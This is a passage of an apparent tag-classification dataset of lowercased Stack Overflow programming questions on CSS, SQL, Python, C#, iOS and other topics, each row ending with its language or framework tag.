   height:30px;     background-color:#ccff33;     width:80%;     text-align:left; } </code></pre>   <strong>html markup:</strong>   <pre><code>&lt;div class= container showgrid &gt;   &lt;div id= header &gt;     &lt;h1&gt;header&lt;/h1&gt;   &lt;/div&gt;   &lt;div id= right &gt;&lt;span class= top &gt;top element&lt;/span&gt;&lt;span class= bottom &gt;bottom element&lt;/span&gt;&lt;/div&gt;   &lt;div id= main &gt;     &lt;div id= center &gt;       &lt;h3&gt;lorem ipsum dolor sit amet&lt;/h3&gt;       &lt;p&gt;content here&lt;/p&gt;     &lt;/div&gt;   &lt;/div&gt;   &lt;div id= footer &gt;     &lt;h3&gt;footer&lt;/h3&gt;   &lt;/div&gt; &lt;/div&gt; </code></pre>,css
detecting an arbittrary button press on a usb joystick without pygame  is there anyway i could register button pushes on a joystick without using any function from pygame,python
compare query outputs  query 1:   <pre><code>select name trans from sids s where apt= kaus ; </code></pre>   query 2:   <pre><code>select id transition_id from std_sid_leg where data_supplier= e  and airport= kaus ; </code></pre>   values of name is same that of id and trans with transition_id.result set 1 is subset of result set 2.both the tables have common columns as apt=airport if query alone couldnt work please provide any script. i need to compare the outputs of these 2 queries and print the data differences. thank you.,mysql
c# if condition isn t true do something  my code:   <pre><code>string[] code = new string[9]; int[] intcode = new int[9];  int cd = 0  dvd = 0  video = 0  book = 0; for (int i = 0; i &lt; 10; i++) {      console.write( enter code#{0}:   i+1);     code[i] = console.readline();     if (code[i].length==5)     {         intcode[i] = convert.toint32(code[i]);         intcode[i] /= 100000;         if (intcode[i] == 1)         {             cd++;             break;          }         if (intcode[i] == 2)         {             dvd++;             break;         }         if (intcode[i] == 3)         {             video++;             break;         }         if (intcode[i] == 4)         {             book++;             break;         }     }     else     {         console.writeline( invalid code );      }  } </code></pre>   basically what i want to do is else{do some thing here} to ask the user to reinput the number  instead of going to for loop and icrementing i and asking the user for new input.,c#
update ng-model in a textarea when the value change in a function  i have this issue :   <pre><code>&lt;textarea ng-model= modeltoupdate  rows= 4  cols= 50 &gt; </code></pre>       and when i do this in a called function in my script :   <pre><code>$scope.modeltoupdate =  test  </code></pre>   i d like to see the changement directly in the textarea.,angularjs
sql command to retrieve data where one column is null  i have these table   <pre><code>item +-------+--------+ | id    | name   | +-------+--------+ | 1     | itema  | +-------+--------+  sales +-------+--------+-------------+-----+ | id    | itemid | warehouseid | ... | +-------+--------+-------------+-----+ | abc   | 1      | null        | ... | +-------+--------+-------------+-----+ itemid = fk of item(id) warehouseid = fk of warehouse(id)  warehouse +--------+----------+------+-------+ | id     | itemid   | qty  | price | +--------+----------+------+-------+ | 1      | 1        | 10   | 5.00  | +--------+----------+------+-------+ itemid = fk of item(id)  **expected results:** +--------+----------+----------------+-------------+------+-------+ | itemid | itemname | salesid        | warehouseid | qty  | price | +--------+----------+----------------+-------------+------+-------+ | 1      | itema    | abc            | null        | null | null  | +--------+----------+----------------+-------------+------+-------+ </code></pre>   its null because the  warehouseid  in the sales is null.    how can i do these.. i tried but the results has no rows returned due to null value.,sql
why does this search function return no value   my son is teaching himself python  but has stumped me with the following. why does the search function on this class return <code>none</code>     we are obviously hitting the <code>return</code> as without it the function recurses indefinitely  and on the line above the value of <code>self.found</code> printed is correct.   <pre><code>class search:     def __init__(self):         print( made )         self.n = 0         self.found = []     def search(self  object  list):         if self.n == 0:             self.found.clear()             print( 1:self.found =   self.found   \nself.n =   self.n)         if len(list) == self.n:             self.n = 0             print( 2:self.found =   self.found   \nself.n =   self.n)             return self.found         if list[self.n] == object:             self.found.append(self.n)             print( 3:self.found =   self.found   \nself.n =   self.n)             self.n = self.n + 1             print( 4:self.found =   self.found   \nself.n =   self.n)             self.search(object  list)         else:             self.n = self.n + 1             print( 5:self.found =   self.found   \nself.n =   self.n)             self.search(object  list) </code></pre>,python
iphone--(bool)shouldautorotatetointerfaceorientation:(uiinterfaceorientation)interfaceorientation  i by using this command  -(bool)shouldautorotatetointerfaceorientation:(uiinterfaceorientation)interfaceorientation     i can rotate my view automatically  is there any way to rotate and ellabarate and fit with screen.    thanks in advance  (deepan),iphone
javascript file loads with no content  i have the following structure.     a geometry file that declares some functions   <pre><code>function line(p1  p2){  }  //etc </code></pre>   an analysis.js that contains my model. it uses functions from geometry.js   <pre><code>function downs(){ }  downs.prototype.findsth = function (){     //uses line     line1 = line(p1  p2); } </code></pre>   and in my html file i declare them with the following sequence   <pre><code>&lt;script type= application/javascript  src= ../js/geometry.js &gt;&lt;/script&gt; &lt;script type= application/javascript  src= ../js/analysis.js &gt;&lt;/script&gt; </code></pre>   the directory tree is   <pre class= lang-none prettyprint-override ><code>. ├── css │   └── main.css ├── html │   └── orthocal.html ├── js │   ├── analysis.js │   ├── geometry.js │   ├── kineticjs_source.js │   ├── kinetic-v5.1.0.min.js │   ├── main.js │   └── orthodontist.js ├── media │   ├── praxisrundgang-r frs.jpg │   └── proline_ap_pa_ceph__17839_1340650087_1280_1280.png </code></pre>   but i get a reference error that line is not defined. in my network tab in chrome s dev console  geometry.js is loaded but without content. i mean i don t get an error status code but no content in the preview. why is it not loading,javascript
validating a given string for a car plate number  i need to validate a brazilian car plate number using objective-c.    a brazilian car plate number consists of three alphabetic characters + four numeric digits such as abc1234.    how do i this in a simple way using objective-c,objective-c
a count is returning null when it should just be zero  i have a table that tracks users trustworthiness.   <pre><code>+-----------------+-----------------+-------------+ | user_id_1       | user_id_2       | is_trusted  | +-----------------+-----------------+-------------+ | 1               | 2               | 0           | ... </code></pre>   where 1 is trusted and 0 is not. if there is no negative feedback i get null for the value. is there a way to just get the positive - 0    <pre><code>select tr2.user_id_2 user      ((select count(*) plus         from trust_ratings tr         where is_trusted = 1 and         tr2.user_id_2 = tr.user_id_2         group by tr.user_id_2)     -     (select count(*) minus         from trust_ratings tr         where is_trusted = 0 and         tr2.user_id_2 = tr.user_id_2         group by tr.user_id_2)) as score     from trust_ratings tr2     group by user; </code></pre>,mysql
<a> tag brings me to top of page with angularjs. but i want to stay at the same place  i have a click button. i am trying with angularjs. the page anchors at the top of the page  when i click it. how do i to stay at the same place in the browser when i click it    <pre><code>&lt;a href= #  ng-click= myfunction() &gt;    {{_actions.refresh}} &lt;/a&gt; </code></pre>   there is a similar question <a href= https://stackoverflow.com/questions/976753/jquery-click-brings-me-to-top-of-page-but-i-want-to-stay-where-i-am >here</a>. but with jquery solution described there. i would like to find a solution with angularjs.,angularjs
excel user defined functions processing another workbook  i am using a function to process values spreaded across workbooks. i understand a subroutine is handy to go with. but can anybody give a clear cut answer as to whether i can process another workbook using an excel custom function called from current workbook     mine brings errors!!,.net
how can i vertically align an image in a div/span   i ve created a jsfiddle: <a href= http://jsfiddle.net/q8uwv/  rel= nofollow >http://jsfiddle.net/q8uwv/</a>    i m trying to vertically align the image in the middle of the<code>div</code>. using <code>vertical-align: middle</code> isn t working. in additon to that i ve tried <code>margin-top:auto; margin-bottom:auto</code> but still no luck. how can i get this image centered vertically,html
:hover#id on all web browser & devices - should work   normally we write this way:     <pre class= lang-css prettyprint-override ><code>#id span:hover {} </code></pre>   i tried this and it worked.   <pre class= lang-css prettyprint-override ><code>:hover#id span {} </code></pre>   will this work in all web browsers and devices,css
linux command line: passing wrong argument   i m debugging my c++ code on ubuntu which i execute as <code>./main path &lt; input.txt</code>    <code>argv[1]</code> should contain a string  path  which verified by gdb below.     however  the program always jumps over my first condition even though <code>argv[1] ==  path </code> should return true.    any idea    <pre><code>... (gdb) n 181     if(argv[1] ==  path ) (gdb) p argv[1] $1 = 0xbffffba3  path  (gdb) n 183     else if(argc == 1) (gdb)  </code></pre>,c++
where is the reference to the  real  system assembly   i was researching an answer to a question i saw earlier on so (<a href= https://stackoverflow.com/questions/19713504/system-object-not-defined-in-vb-net >system.object not defined in vb.net</a>) and i discovered something that seems strange.  i always thought that the class  object  which  as everyone knows  resides in the  system  namespace  was defined in the system.dll assembly or  at the very least  in the system.core.dll.  however  when i started searching around in the object browser  i learned that object is actually defined in mscorlib.dll.  the really strange thing  though  is that this assembly is not referenced anywhere in any project.  just to test this  i created a project and removed all references:    <img src= https://i.stack.imgur.com/4sx2p.png  alt= enter image description here >    surprisingly (at least to me) doing so did not break anything.  i could still write a piece of code like this:   <pre><code>module module1     sub test()         dim x as new object     end sub end module </code></pre>   without any compile errors.  can someone out there kindly explain this to me,.net
mysql workbench (where clause is ambiguous ) <pre><code>select a.first_name  a.last_name  b.title  from author a  book b  where a.author_id = b.author_id; </code></pre>   i understand that a and b is refer to the table name.     when i run the program with a and b  there is not error.  but when i run the program without a and b   <pre><code>select first_name  last_name title  from author   book   where author_id = author_id; </code></pre>   there is error shown   error code: 1052. column  author_id  in where clause is ambiguous .,mysql
ios - removefromsuperview crashes the app sometimes  i have a page with a back button that takes me to an inbox. i do this in viewwilldisappear -    <pre><code>-(void)viewwilldisappear:(bool)animated { [super viewwilldisappear:animated];     [inboxtoolbar removefromsuperview ]; [inboxtoolbar release]; </code></pre>   }    if i do this a few times  the app crashes and the exception thrown is  unrecognized selector sent to instance . this happens very intermittently. any thoughts on how to go about fixing / debugging it,ios
differentiate between system killing app and user killing app in ios  i know there have been questions regarding this but i haven t found the answer to this specific question. in both cases  i.e  user killing the app explicitly or system killing the app (after ~10 minutes of being in background)  <code>applicationwillterminate</code> is called. i want to be able to differentiate between the two. is it possible in ios7,ios
how to add back (older post)   next (newer post) and home buttons in the top of the page   hi i need help adding the next (newer post)  back (older post) and home buttons in the top of the page  but am having a hard time. i currently have them at the bottom/footer of the page  and they work well down there but not at the top.     any help is much appreciated.     here is my site for reference: <a href= https://greatestguitars.blogspot.com  rel= nofollow >https://greatestguitars.blogspot.com</a>    thank you  carlos,html
how to delete the localizable.strings from base.lproj  i don t need it  but when i delete it  i got a compile error.    so is there a way to do that,ios
null string ...weird situation  its  part of my code:   <pre><code>protected void onactivityresult(int requestcode  int resultcode  intent data) {      super.onactivityresult(requestcode  resultcode  data);       if (requestcode == 2) {          if (resultcode == result_ok) {               startnomos = data.getstringextra( strnom1 );              startcity = data.getstringextra( strct1 ); 1            log.d( startnomos   startnomos); 2            log.d( startcity   startcity);          }       }     else if (requestcode == 3) {         if (resultcode == result_ok) {               finalnomos = data.getstringextra( fnlnom1 );              finalcity = data.getstringextra( fnlcity1 ); 3             log.d( finalnomos   finalnomos); 4             log.d( finalcity   finalcity);           }      } }   static final int date_dialog_id = 0; int yr  mon  day; int hour  min;  static final int time_dialog_id = 1;   @suppresswarnings( deprecation )  public void showdatepickerdialog(view v) {     calendar today = calendar.getinstance();      yr = today.get(calendar.year);     mon = today.get(calendar.month);     day = today.get(calendar.day_of_month);      hour = today.get(calendar.hour);     min = today.get(calendar.minute);      showdialog(time_dialog_id);      showdialog(date_dialog_id);  }  protected dialog oncreatedialog(int id) {     switch (id) {     case date_dialog_id:         return new datepickerdialog(this  datesetlistener  yr  mon  day);     case time_dialog_id:         return new timepickerdialog(this  timesetlistener  hour  min  true);     }      return null; }   private datepickerdialog.ondatesetlistener datesetlistener = new  datepickerdialog.ondatesetlistener() {       @override     public void ondateset(datepicker view  int year  int monthofyear               int dayofmonth) {          // todo auto-generated method stub         yr = year;          mon = monthofyear + 1;          day = dayofmonth;          depdate1 = (edittext) findviewbyid(r.id.depdate1);          depdate1.settext(day +   -   + mon +   -   + yr);     }  };   private timepickerdialog.ontimesetlistener timesetlistener = new  timepickerdialog.ontimesetlistener() {      @override     public void ontimeset(timepicker view  int hourofday  int minute) {          // todo auto-generated method stub          hour = hourofday;         min = minute;         deptime1 = (edittext) findviewbyid(r.id.deptime1);          deptime1.settext(hour +   :   + min);      }  };       public void onclick(view btnregidiot) {     // todo auto-generated method stub      new registeridiot().execute();  }   class registeridiot extends asynctask&lt;string  string  string&gt; {      /**      * before starting background thread show progress dialog      * */     boolean failure = false;      @override      protected void onpreexecute() {         super.onpreexecute();          eidmet1 = eidosmetaf1.getselecteditem().tostring();         w1 = weight.gettext().tostring();           dpdt1 = depdate1.gettext().tostring();          dptm1 = deptime1.gettext().tostring();         exdyp1 = exeidypeir1.getselecteditem().tostring();         comments = comments2.gettext().tostring();           log.d( eidmet1   eidmet1);         log.d( w1   w1);     5   log.d( fnlnom1     +finalnomos);     6   log.d( fnlcity1     +finalcity);         log.d( dpdt1   dpdt1);         log.d( dptm1   dptm1);         log.d( exdyp1   exdyp1);         log.d( comments   comments);     7   log.d( strnom1      +startnomos);     8   log.d( strct1      +startcity); </code></pre>   the very strange situation is that log.d in lines 1 2 3 4 give correct answers  <strong>lines 5 6 are also ok</strong> but lines 7 8 give null!!!! isn t that weird  startnomos  startcity are similar situations comparing to finalnomos   finalcity. thanks in advance,android
"how to center list items on my nav bar   new here don t really know a lot about coding yet. could someone tell me how i could center the list items without messing anything up  thanks.    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>ul.topnav {
     list-style-type: none;
     margin: 0;
     padding: 15;
     overflow: hidden;
     background-color: #333;
 }
 ul.topnav li {float: left;}
 
 ul.topnav li a {
     display: inline-block;
     color: #f2f2f2;
     text-align: center;
     padding: 14px 16px;
     text-decoration: none;
     transition: 0.3s;
     font-size: 19px;
 }
 ul.topnav li a:hover {background-color: #555;}
 
 ul.topnav li.icon {display: none;}</code></pre>
 </div>
 </div>",css
ios check phone number of american valid or not  i want check the a string is or not match to american phone number  (xxx)xxx-xxxx or xxx-xxx-xxxx    please help me thank you.,ios
"flex-box sticky footer with inner flex-box container with y axis scrolling  i know the subject is a mouthful but i couldn t find a better way to describe it in short.    i have a header  content-body  footer layout where the footer is  sticky  using flex css  which works wonderfully. i have another container within the content-body that needs to expand to fill the available height and when it s contents are appended  it scrolls. so far  the only way i can get this to work is by setting the height of the content-body to a static px value  which breaks my desired vertical responsiveness.    codepen of my attempt: <a href= http://codepen.io/sinrise/pen/qwkpkp  rel= nofollow >http://codepen.io/sinrise/pen/qwkpkp</a>    <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>html  body {
   height: 100%;
   margin: 0; padding: 0;  /* to avoid scrollbars */
 }
 #wrapper {
   display: flex;  /* use the flex model */
   min-height: 100%;
   flex-direction: column;  /* learn more: http://philipwalton.github.io/solved-by-flexbox/demos/sticky-footer/ */
 }
 #header {
   background: yellow;
   height: 30px;  /* can be variable as well */
 }
 #body {
   flex: 1;
   border: 1px solid orange;
   padding-bottom: 20px;
 }
 .content {
   border: 1px solid gray;
   margin: 10px 0 0;
   width: 500px;
   margin: 0 auto;
   overflow-y: scroll;
   height: 200px;
 }
 .item:nth-child(odd) {
   background: #fbfbfb;
 }
 #footer{
   background: lime;
 }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div id= wrapper &gt;
   &lt;div id= header &gt;title&lt;/div&gt;
   &lt;div id= body &gt;
     body
     &lt;div class= content &gt;
       content
       &lt;div class= item &gt;item 1&lt;/div&gt;
       &lt;div class= item &gt;item 2&lt;/div&gt;
       &lt;div class= item &gt;item 3&lt;/div&gt;
       &lt;div class= item &gt;item 4&lt;/div&gt;
       &lt;div class= item &gt;item 5&lt;/div&gt;
       &lt;div class= item &gt;item 6&lt;/div&gt;
       &lt;div class= item &gt;item 7&lt;/div&gt;
       &lt;div class= item &gt;item 8&lt;/div&gt;
       &lt;div class= item &gt;item 9&lt;/div&gt;
       &lt;div class= item &gt;item 10&lt;/div&gt;
       &lt;div class= item &gt;item 11&lt;/div&gt;
       &lt;div class= item &gt;item 12&lt;/div&gt;
       &lt;div class= item &gt;item 13&lt;/div&gt;
       &lt;div class= item &gt;item 14&lt;/div&gt;
       &lt;div class= item &gt;item 15&lt;/div&gt;
       &lt;div class= item &gt;item 16&lt;/div&gt;
       &lt;div class= item &gt;item 17&lt;/div&gt;
       &lt;div class= item &gt;item 18&lt;/div&gt;
     &lt;/div&gt;
   &lt;/div&gt;
   &lt;div id= footer &gt;
     footer&lt;br/&gt;
     of&lt;br/&gt;
     variable&lt;br/&gt;
     height&lt;br/&gt;
   &lt;/div&gt;
 &lt;/div&gt;</code></pre>
 </div>
 </div>",css
error while casting to enumeration  i am trying to combine 4 files into a single file using <code>sequenceinputstream</code> and <code>linkedlist</code> as data structure.    my error is    <blockquote>    exception in thread  main  java.lang.classcastexception:   java.io.fileinputstream cannot be cast to java.util.enumeration   at   faizal.address.main(address.java:21)  </blockquote>  <pre><code>import java.io.*;  import java.util.*;    public class address{     public static void main(string[] args) throws exception {         fileinputstream f1 = new fileinputstream( e://ass.java );         fileinputstream f2 = new fileinputstream( e://ass1.java );         fileinputstream f3 = new fileinputstream( e://abc.txt );         fileinputstream f4 = new fileinputstream( e://ad.txt );         linkedlist al = new linkedlist();         al.add(f1);         al.add(f2);         al.add(f3);         al.add(f4);         collections.synchronizedlist(al);         enumeration e = (enumeration) al.element();         sequenceinputstream sq = new sequenceinputstream((enumeration&lt;  extends inputstream&gt;) al);         int i = 0;         while((i=sq.read())!=-1){             system.out.print((char)i);         }       } } </code></pre>,java
how to set dimension (width) in a div box in this situation  i want to set the width (in pixels) of the orange box.    you can see my page on this: <a href= http://jsfiddle.net/mpc/wm754s90/  rel= nofollow >live link</a>   <pre><code>&lt;div align= center  class= copyright  style= border: thin solid #f48c13 &gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;a href= http://192.168.1.100/cgi-bin/class/login.cgi &gt;&lt;strong&gt;accesso a mpcpanel&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt; </code></pre>    <a href= http://192.168.1.100/cgi-bin/class/login.cgi  rel= nofollow ></a>    &nbsp;,html
how to get all email id s of friends which are in friendslist from facebook  i am new to iphone.my question is how to get all email id s of friends which are in friendslist from facebook while using graph api in iphone  i am able to get all the pictures name first name and last name of the friends which are in friends list except the email id s how can we do this if any body know this please help me.if any body provide some code for this it will be helpful for me....,iphone
load several images effectiely on iphone  i am loading several images based on when user click any row -> section ->images    i am parsing via nsxmlparser now point is i can only go to detail section if all of my images loaded which is too time consuming is there any way that allow me to go to section view(even if 1 image loaded) and then keep loading rest images later     this is my parser code   <pre><code>if([elementname isequaltostring:@ result ]) {      //  nslog(@  add f  element );         [appdelegate.agallry addobject:agall];         nslog(@ processing new  value: %@   currentelementvalue);          //[agall release];          nsuserdefaults *img = [nsuserdefaults standarduserdefaults];         [img setobject:currentelementvalue forkey:@ keytoimg ];         //adetail= nil;           nslog(@ table count is %i  [appdelegate.agallry count]);         } </code></pre>   this is to retrieve    <pre><code>    nsuserdefaults *imgg = [nsuserdefaults standarduserdefaults];     nsstring *myimg= [imgg stringforkey:@ keytoimg ]; //xmlappdelegate*   appdelegate=(xmlappdelegate*)[uiapplication sharedapplication].delegate;     //nsstring *myimg=agall.images;     nslog(@ res image sssssssss  is = %@  myimg);        nsstring *trimmedstring1 = [myimg stringbytrimmingcharactersinset:                                 [nscharacterset whitespaceandnewlinecharacterset]];   nslog(@ trrimming is  %@  trimmedstring1);        /// puttint them to araay       nsmutablearray  *a1 = [[nsmutablearray alloc] init]; [a1 addobjectsfromarray:[trimmedstring1 componentsseparatedbystring:@ \n\t ]];      [a1 addobject:trimmedstring1]; </code></pre>,iphone
how do i use a check_box_tag for value that isn t a boolean   i have a field in my database called property_types which has a string value and the values can be  condo  or  single family home  or  commercial . i want to display each property type in the user s search form with a check box next to each property type so the user can select which property types should be included in their search results.    but if the property_type field is not a boolean and it has several possible values how do i do this using check_box_tag which can only have a true or false value     edit:    i added this checkbox code to properties/index where the search form is and the search results are displayed:   <pre><code>&lt;%= check_box_tag(:condo  value =  1   checked = true) %&gt; </code></pre>   in  properties_controller i added this:   <pre><code>@properties = @properties.where(:property_type =&gt;  condo ) if params[:condo].present  </code></pre>   ofcourse it doesn t work because i haven t got a clue what i m doing but is this along the right lines or not,ruby-on-rails
drawing and shading circle sections  so  i have to do some graphics/visualization work  which is turning out to be a nightmare as i have 0 experience in this area.    in short  i have a series of concentric circles (b  c  d) with radii of 1  2  3  and perpendicular lines  (e  f) that pass through the origin (-x - y = 0 and -x + y = 0).  below is a geogebra visualization:     <a href= https://i.stack.imgur.com/pmonx.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/pmonx.png  alt= concentric circles centered on origin with x-y axes and lines at x=y and x=-y ></a>           i also have an array of 12 greyscale pixel values.  each value in this array corresponds to the colour a section of the image is to be shaded (3 circles  each with 4 sections).  below is a sample image where i shaded an area in pink for clarity.    <a href= https://i.stack.imgur.com/iry3m.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/iry3m.png  alt= enter image description here ></a>    i have been able to create pie slices that i can shade  which works for sections in circle b  but not the other two.   <pre><code>from pil import image  imagedraw  x_center = 400 // 2 y_center = 400 //2  img = image.new( rgba   (400  400)   white )  idraw = imagedraw.draw(img)  idraw.pieslice([x_center-100  x_center-100                  y_center + 106  y_center + 106]  225  315  fill= blue ) </code></pre>   <a href= https://i.stack.imgur.com/ssej5.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/ssej5.png  alt= enter image description here ></a>    and have gotten close with a chord  but i would need an arc d bottom  not a straight line   <pre><code>from pil import image  imagedraw  x_center = 400 // 2 y_center = 400 //2  im = image.new( rgba   (400  400)   white )  draw = imagedraw.draw(im) draw.chord([x_center-100  x_center-100              y_center + 106  y_center + 106]  225  315  fill= blue ) </code></pre>   <a href= https://i.stack.imgur.com/cpzdv.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/cpzdv.png  alt= enter image description here ></a>    now  the end goal is to take the final product and save it as a png or jpeg.  this is because each image reflects a timeslice and i want to smush them all together into a video.  however  i am 100% open to using whatever tool works best  be it pil  matplotlib  etc. (i simply have 0 experience with this type of stuff  so my decision to use pil/pillow may not be the smartest).    any insights into this matter would be deeply appreciated.,python
is there a way to underline spaces before text  consider the following code:   <pre><code>&lt;u&gt; test &lt;/u&gt;  </code></pre>   this only underlines test + the space after test and not before. why is this and how can i make it underline the first space also,html
how can i view the snapshot image that ios takes when app goes to background   when an ios app enters background  a snapshot of the last screen is taken and placed in the cache. how do i view this image to ensure that sensitive information from the app is not accidentally stored in the cache     i checked xcode organizer but i cant find a tool to open and view the cache.    any ideas     thanks,ios
merge two columns fron one table in to a new view with sql  i have a table that has two columns  loser and winner. can i create a new view with one column:  player  that has all the losers and winners but only unique values,sql
how to fetch records for every day in a month using mysql  i was working with mysql and i am having a requirement for my reports to get registration data for every day (if search by month) in a month and every month (if search based on a year).    here is the query i used to get the result     query:    <pre><code>select    count(tenant_id) as registered     date_format(created_date  %d ) as weeks  from asign_user  where date_format(created_date  %m )= 02   and date_format(created_date  %y ) =  2014   group by date_format(created_date  %d ); </code></pre>  <pre> ------------------------------- day       |     registered ------------------------------- 11                   5 12                   6 13                   1 14                   8 16                   9 25                   15 </pre>   expected result should be     <pre>   <pre><code>------------------------------- day       |     registered ------------------------------- 01                   0 02                   0 03                   0 04                   0 05                   0 06                   0 .                    . .                    . .                    . .                    . 11                   5 12                   6 13                   1 14                   8 15                   0 16                   9 .                    .   .                    . 25                   15 .                    .   .                    . 30/31                0 </code></pre>   </pre>,mysql
using sharpffmpeg.dll for video conversion  in my c# application   i am using sharpffmpeg.dll library for storing video and image files.    and the video files we upload from flex application  which supports flv and some few format of videos only.so when some one upload any type of video format  we planned to convert it into flv.    before we store the data in database we convert the uploaded file to .tmp file (setting hashcode of uploaded file and adding extension as .tmp) and store temporarily this file in internetcache  as below.   <pre><code>string filename = element.filename;                     string internetcache = environment.getfolderpath(environment.specialfolder.internetcache);                     // if the internet path doesn t exist  assume mono and /var/tmp                     string path = string.isnullorempty(internetcache)                                  path.combine( var    tmp )                                : path.combine(internetcache.replace( \\\\    \\ )   tmp );                     element.filename = path.combine(path  math.abs(element.filename.gethashcode()) +  .tmp ); </code></pre>   and while checking the type of file is written as below.   <pre><code>intptr pformatcontext;             ffmpeg.av_register_all();              int ret;             ret = ffmpeg.av_open_input_file(out pformatcontext  this.filename  intptr.zero  0  intptr.zero);              if (ret &lt; 0)             {                 trace.writeline( couldn t open input file );                  ffmpeg.av_free_static();                 return;             }               try             {                 ret = ffmpeg.av_find_stream_info(pformatcontext);                 if (ret &lt; 0)                 {                     trace.writeline( couldnt find stream informaion );                     ffmpeg.av_close_input_file(pformatcontext);                     ffmpeg.av_free_static();                     return;                 }                   ffmpeg.avformatcontext formatcontext = (ffmpeg.avformatcontext)marshal.ptrtostructure(pformatcontext  typeof(ffmpeg.avformatcontext));                  duration = formatcontext.duration / ffmpeg.av_time_base;                  for (int i = 0; i &lt; formatcontext.nb_streams; ++i)                 {                     ffmpeg.avstream stream = (ffmpeg.avstream)marshal.ptrtostructure(formatcontext.streams[i]  typeof(ffmpeg.avstream));                     ffmpeg.avcodeccontext codec = (ffmpeg.avcodeccontext)marshal.ptrtostructure(stream.codec  typeof(ffmpeg.avcodeccontext));                      if (codec.codec_type == ffmpeg.codectype.codec_type_video)                     {                         height = codec.height;                         width = codec.width;                          switch (codec.codec_id)                         {                             case ffmpeg.codecid.codec_id_flv1:                             case ffmpeg.codecid.codec_id_vp6f:                             case ffmpeg.codecid.codec_id_h264:                             case ffmpeg.codecid.codec_id_mpeg4:                                 type = filetype.flv;                                 mimetype =  video/x-flv ;                                 break; </code></pre>   but if i upload like avi the above code is not working. please help me in the video conversion  by using the sharpffmpeg dll.,c#
jquery variable and execution delay  first of all  sorry for the confusing title. i am running into kind of a silly problem in jquery. here s my code:   <pre><code>$j( .parent ).hover(function(){      var newwidth = $j(this).find( img ).length * 70; // i need number of images within parent and multiply it by 70      $j(this).stop().animate({ width :newwidth} 700); // &lt;-- this does not work }  function(){      $j(this).stop().animate({ width : 70 } 700); // back to original width }); </code></pre>   but the there s no animation. if i alert the newwidth  it gives me correct answer. i suspect that the animation is executed simultaneously while the value is being assigned to newwidth and hence  nothing happens. do i need to add delay between assigning variable and executing animation. is there another efficient way     update: the css of the .parent is <strong>inline</strong> and it is following:    <pre><code>element.style { background-color: #000000; border-color: #cccccc; border-radius: 0 0 0 0; border-style: solid; border-width: 0; clear: both; height: 75px; overflow: hidden; padding: 0; position: relative; width: 70px; } </code></pre>,jquery
combining two text files removing duplicates  i have <strong>2 text files</strong> that are as follows (large numbers like <code>1466786391</code> being unique timestamps):   <pre><code>--- 10.0.0.6 ping statistics --- 50 packets transmitted  49 packets received  2% packet loss round-trip min/avg/max = 20.917/70.216/147.258 ms 1466786342 ping 10.0.0.6 (10.0.0.6): 56 data bytes  ....  --- 10.0.0.6 ping statistics --- 50 packets transmitted  50 packets received  0% packet loss round-trip min/avg/max = 29.535/65.768/126.983 ms 1466786391 </code></pre>   and this:   <pre><code>--- 10.0.0.6 ping statistics --- 50 packets transmitted  49 packets received  2% packet loss round-trip min/avg/max = 20.917/70.216/147.258 ms 1466786342 ping 10.0.0.6 (10.0.0.6): 56 data bytes  --- 10.0.0.6 ping statistics --- 50 packets transmitted  50 packets received  0% packet loss round-trip min/avg/max = 29.535/65.768/126.983 ms 1466786391 ping 10.0.0.6 (10.0.0.6): 56 data byte  --- 10.0.0.6 ping statistics --- 50 packets transmitted  44 packets received  12% packet loss round-trip min/avg/max = 30.238/62.772/102.959 ms 1466786442 ping 10.0.0.6 (10.0.0.6): 56 data bytes .... </code></pre>   so the first file ends with the <code>timestamp</code> <strong>1466786391</strong> and the second file has the same data block somewhere in the middle and more data afterwards  the data before the specific timestamp is exactly same as the first file.    so the output i want is this:   <pre><code>--- 10.0.0.6 ping statistics ---     50 packets transmitted  49 packets received  2% packet loss     round-trip min/avg/max = 20.917/70.216/147.258 ms     1466786342     ping 10.0.0.6 (10.0.0.6): 56 data bytes      ....      --- 10.0.0.6 ping statistics ---     50 packets transmitted  50 packets received  0% packet loss     round-trip min/avg/max = 29.535/65.768/126.983 ms     1466786391   --- 10.0.0.6 ping statistics ---     50 packets transmitted  44 packets received  12% packet loss     round-trip min/avg/max = 30.238/62.772/102.959 ms     1466786442     ping 10.0.0.6 (10.0.0.6): 56 data bytes .... </code></pre>   that is  concatenate the two files  and create a third one removing the duplicates of the second file (the text blocks that s already present in the first file. here s my code:   <pre><code>public static void unionfiles() {       string folderpath = path.combine(path.getdirectoryname(assembly.getentryassembly().location)   http );     string outputfilepath = path.combine(path.getdirectoryname(assembly.getentryassembly().location)   http\\union.dat );     var union = enumerable.empty&lt;string&gt;();      foreach (string filepath in directory                 .enumeratefiles(folderpath   *.txt )                 .orderby(x =&gt; path.getfilenamewithoutextension(x)))     {         union = union.union(file.readalllines(filepath));     }     file.writealllines(outputfilepath  union); } </code></pre>   this is the wrong output i am getting (the file structure is destroyed):   <pre><code>--- 10.0.0.6 ping statistics --- 50 packets transmitted  49 packets received  2% packet loss round-trip min/avg/max = 20.917/70.216/147.258 ms 1466786342 ping 10.0.0.6 (10.0.0.6): 56 data bytes  --- 10.0.0.6 ping statistics --- 50 packets transmitted  50 packets received  0% packet loss round-trip min/avg/max = 29.535/65.768/126.983 ms 1466786391 round-trip min/avg/max = 30.238/62.772/102.959 ms 1466786442 round-trip min/avg/max = 5.475/40.986/96.964 ms 1466786492 round-trip min/avg/max = 5.276/61.309/112.530 ms </code></pre>   edit: this code was written to handle multiple files  however i am happy even if just 2 can be done correctly.    however  this doesn t remove the <code>textblocks</code> as it should  it removes several useful lines and makes the the output utter useless. i am stuck.    how to achieve this  thanks.,c#
